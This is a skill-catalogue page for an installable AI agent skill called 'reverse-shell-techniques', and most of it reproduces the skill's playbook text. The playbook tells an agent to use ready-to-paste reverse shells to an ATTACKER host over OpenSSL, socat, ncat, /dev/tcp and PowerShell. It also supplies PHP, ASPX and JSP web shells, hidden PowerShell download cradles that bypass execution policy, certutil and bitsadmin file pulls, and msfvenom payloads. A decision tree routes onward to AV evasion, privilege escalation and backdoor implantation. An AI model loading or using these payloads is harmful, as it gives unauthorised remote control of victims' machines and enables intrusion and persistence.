SkillAgentSearch skills...

reverse-shell-techniques

Reverse shell techniques playbook

Install / Use

npx skills add yaklang/hack-skills --skill reverse-shell-techniques

Installs into whichever agent you are using.

About this skill
๐Ÿ“„

SKILL.md

Installable skill definition

Quality Score

86/100

Supported Platforms

Universal

Tags

Our assessment of reverse-shell-techniques

reverse-shell-techniques scores 86/100 on our quality scale, 2380th of 4,698 Development & Engineering skills we index.

Its SKILL.md is 8.5 KB long, well organised into 62 sections with 14 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
8/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so reverse-shell-techniques is actively maintained.
  • Our last check on 2026-11-03 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit โ€” read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to generate reverse/bind shells, web shells (PHP/ASPX/JSP), and PowerShell download cradles to establish unauthorized remote access.

AI review: risky

  • The skill instructs the agent to generate reverse/bind shells, web shells (PHP/ASPX/JSP), and PowerShell download cradles to establish unauthorized remote access.
  • It includes copy-paste payloads and commands for msfvenom, encrypted shells (OpenSSL/socat/ncat SSL), and PTY upgrades that are classic backdoor/exploitation techniques.
  • The decision tree explicitly routes the agent toward privilege escalation, pivoting, and persistence/backdoor implantation after a shell is obtained.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk โ€” read a skill before letting an agent act on it.

reverse-shell-techniques compared with similar skills

All 4 of these similar skills score higher than reverse-shell-techniques; compare them before choosing.

SkillScoreStarsUpdatedFormat
reverse-shell-techniques (this skill)by yaklang862.3k2mo agoSKILL.md
taste-skillby Leonxlnx100116.8k8d agoCLAUDE.md
ai-job-searchby ai-job-search-dev10072.1ktodayCLAUDE.md
claude-howtoby luongnv8910047.3k2d agoCLAUDE.md
lobehubby lobehub10085.6ktodayMCP Server

Frequently asked questions

How do I install reverse-shell-techniques?
Run npx skills add yaklang/hack-skills --skill reverse-shell-techniques. The install tabs above show the steps for each supported agent.
Which AI agents does reverse-shell-techniques work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is reverse-shell-techniques safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to generate reverse/bind shells, web shells (PHP/ASPX/JSP), and PowerShell download cradles to establish unauthorized remote access. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is reverse-shell-techniques still maintained?
The repository was last updated about 2 months ago, so reverse-shell-techniques is actively maintained.

name: reverse-shell-techniques description: >- Reverse shell techniques playbook. Use when establishing remote shells including language one-liners, encrypted shells (OpenSSL/socat/ncat), web shells, PTY upgrades, file transfer methods, PowerShell shells, and Windows payload generation.

SKILL: Reverse Shell Techniques โ€” Expert Attack Playbook

AI LOAD INSTRUCTION: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.

0. RELATED ROUTING

Before going deep, consider loading:

Quick Reference

Also load SHELL_CHEATSHEET.md when you need:

  • Complete one-liner reverse shells for 20+ languages
  • Copy-paste ready payloads with placeholder substitution

1. REVERSE vs BIND SHELL DECISION

| Factor | Reverse Shell | Bind Shell | |---|---|---| | Firewall (egress) | Works if outbound allowed | Blocked by egress filtering | | Firewall (ingress) | Not blocked | Requires inbound access to victim | | NAT | Works (victim connects out) | Fails (can't reach victim behind NAT) | | Detection | Outbound connection โ€” less suspicious | Listening port โ€” easily detected | | Default choice | Almost always preferred | Only when no egress + have inbound |


2. ENCRYPTED SHELLS

OpenSSL Reverse Shell

# Attacker: generate cert + listen
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

# Victim:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s

Socat Encrypted Shell

# Attacker: generate cert + listen
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT

# Victim:
socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Ncat SSL

# Attacker:
ncat --ssl -lvnp 4444

# Victim:
ncat --ssl ATTACKER 4444 -e /bin/bash

3. WEB SHELLS

PHP

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>

<!-- Minimal stealth shell -->
<?=`$_GET[0]`?>

<!-- POST-based with password -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?>

ASPX

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %>

JSP

<%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %>

Upload + Trigger Patterns

1. Find upload endpoint โ†’ upload shell with allowed extension bypass
2. Locate uploaded file (predictable path, directory listing, response leak)
3. Trigger: GET /uploads/shell.php?cmd=id
4. Upgrade to reverse shell: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

4. PTY UPGRADE SEQUENCE

Standard Python Upgrade

# Step 1: Spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Step 2: Background shell
# Press Ctrl+Z

# Step 3: Configure terminal (on attacker)
stty raw -echo; fg

# Step 4: Set environment (back in shell)
export TERM=xterm-256color
stty rows 40 cols 160

Alternative Upgrades

# script command
script /dev/null -c bash

# socat full PTY (requires socat on victim)
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444

# rlwrap for readline support (attacker side)
rlwrap nc -lvnp 4444

# expect
/usr/bin/expect -c 'spawn bash; interact'

5. FILE TRANSFER METHODS

Linux

# wget / curl
wget http://ATTACKER:8000/file -O /tmp/file
curl http://ATTACKER:8000/file -o /tmp/file

# Python HTTP server (attacker side)
python3 -m http.server 8000

# nc file transfer
# Receiver:
nc -lvnp 9999 > file
# Sender:
nc RECEIVER 9999 < file

# base64 encode/decode (no tools needed)
# Encode on source:
base64 -w0 file
# Paste on target:
echo "BASE64_STRING" | base64 -d > file

# scp through pivot
scp -o ProxyJump=pivot user@target:/path/file ./local

Windows

# PowerShell DownloadFile
(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')

# PowerShell Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
iwr http://ATTACKER/file -o C:\temp\file

# certutil
certutil -urlcache -f http://ATTACKER/file C:\temp\file

# bitsadmin
bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file

# SMB share (attacker hosts)
# Attacker: impacket-smbserver share /tmp/share -smb2support
copy \\ATTACKER\share\file C:\temp\file

6. POWERSHELL REVERSE SHELLS

# One-liner TCP reverse shell
$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()

# Download cradle + execute
powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

# Base64 encoded execution
$cmd = '...reverse shell code...'
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -ep bypass -enc $encoded

7. MSFVENOM PAYLOADS

# Linux reverse shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell

# Windows reverse shell (EXE)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe

# Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o meter.exe

# Web payloads
msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=4444 -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw > shell.jsp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx

# DLL / HTA / VBS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o evil.dll
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f hta-psh -o evil.hta
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f vbs -o evil.vbs

8. DECISION TREE

Need remote shell on target
โ”‚
โ”œโ”€โ”€ Can execute commands already (RCE)?
โ”‚   โ”œโ”€โ”€ Linux target?
โ”‚   โ”‚   โ”œโ”€โ”€ bash/python/perl available? โ†’ one-liner reverse shell (CHEATSHEET.md)
โ”‚   โ”‚   โ”œโ”€โ”€ Need encryption? โ†’ OpenSSL or socat SSL shell (ยง2)
โ”‚   โ”‚   โ””โ”€โ”€ Outbound blocked? โ†’ bind shell or tunnel (see tunneling-and-pivoting)
โ”‚   โ”‚
โ”‚   โ”œโ”€โ”€ Windows target?
โ”‚   โ”‚   โ”œโ”€โ”€ PowerShell available? โ†’ PS reverse shell (ยง6)
โ”‚   โ”‚   โ”œโ”€โ”€ Need binary? โ†’ msfvenom payload (ยง7)
โ”‚   โ”‚   โ””โ”€โ”€ AV blocking? โ†’ load windows-av-evasion skill
โ”‚   โ”‚
โ”‚   โ””โ”€โ”€ Web server (upload possible)?
โ”‚       โ”œโ”€โ”€ PHP? โ†’ PHP web shell (ยง3) โ†’ upgrade to reverse shell
โ”‚       โ”œโ”€โ”€ ASP.NET? โ†’ ASPX shell (ยง3)
โ”‚       โ””โ”€โ”€ Java/Tomcat? โ†’ JSP shell (ยง3)
โ”‚
โ”œโ”€โ”€ Got a dumb shell?
โ”‚   โ”œโ”€โ”€ Python available? โ†’ PTY upgrade (ยง4)
โ”‚   โ”œโ”€โ”€ script available? โ†’ script /dev/null -c bash (ยง4)
โ”‚   โ”œโ”€โ”€ socat on target? โ†’ socat full PTY (ยง4)
โ”‚   โ””โ”€โ”€ None? โ†’ rlwrap on attacker side for readline
โ”‚
โ”œโ”€โ”€ Need to transfer tools?
โ”‚   โ”œโ”€โ”€ Linux: wget/curl/nc/base64 (ยง5)
โ”‚   โ”œโ”€โ”€ Windows: certutil/PowerShell/bitsadmin/SMB (ยง5)
โ”‚   โ””โ”€โ”€ No outbound? โ†’ base64 copy-paste (ยง5)
โ”‚
โ””โ”€โ”€ Shell established โ€” next steps?
    โ”œโ”€โ”€ Privilege escalation โ†’ load linux/windows-privilege-escalation
    โ”œโ”€โ”€ Pivot to internal network โ†’ load tunneling-and-pivoting
    โ””โ”€โ”€ Persistence โ†’ implant backdoor

Related Skills

View on GitHub
GitHub Stars2.3k
CategoryDevelopment
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit โ€” see the Safety scan above for what the skill file itself contains.

No cautions
reverse-shell-techniques โ€” Universal Skill: Install & Safety Check | SkillAgent